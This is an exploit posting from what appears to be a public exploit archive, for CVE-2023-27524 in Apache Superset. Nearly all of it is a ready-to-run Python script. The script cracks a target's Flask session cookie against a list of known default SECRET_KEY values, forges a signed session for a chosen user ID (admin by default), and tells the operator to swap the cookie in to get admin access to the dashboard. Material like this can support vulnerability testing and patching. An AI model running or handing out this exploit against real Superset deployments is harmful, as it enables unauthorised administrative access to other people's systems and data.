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Apache Superset 2.0.0 Authentication Bypass

Apache Superset 2.0.0 Authentication Bypass
Posted May 24, 2023
Authored by MaanVader

Apache Superset version 2.0.0 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2023-27524
SHA-256 | 11c1d6dfc40e04e78fe7f63e883ffe51cb8c28f41378508a535f0b0c6713a793

Apache Superset 2.0.0 Authentication Bypass

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# Exploit Title: Apache Superset 2.0.0 - Authentication Bypass
# Date: 10 May 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://superset.apache.org/
# Version: Apache Superset<= 2.0.1
# Tested on: 2.0.0
# CVE: CVE-2023-27524

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
from selenium import webdriver
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]

def main():

parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
args = parser.parse_args()

try:
u = args.url.rstrip('/') + '/login/'

headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}

resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return

session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break

if not session_cookie:
print('Error: No session cookie found')
return

print(f'Got session cookie: {session_cookie}')

try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return

match = re.search(r'"version_string": "(.*?)&#34', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'

print(f'Superset Version: {version}')


for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break

if not cracked:
print('Failed to crack session cookie')
return

print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

try:
user_id = int(args.id)
except:
user_id = args.id

forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
u1 = args.url.rstrip('/') + '/superset/welcome'

print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)")




except Exception as e:
print(f'Unexpected error: {e}')


if __name__ == '__main__':
main()


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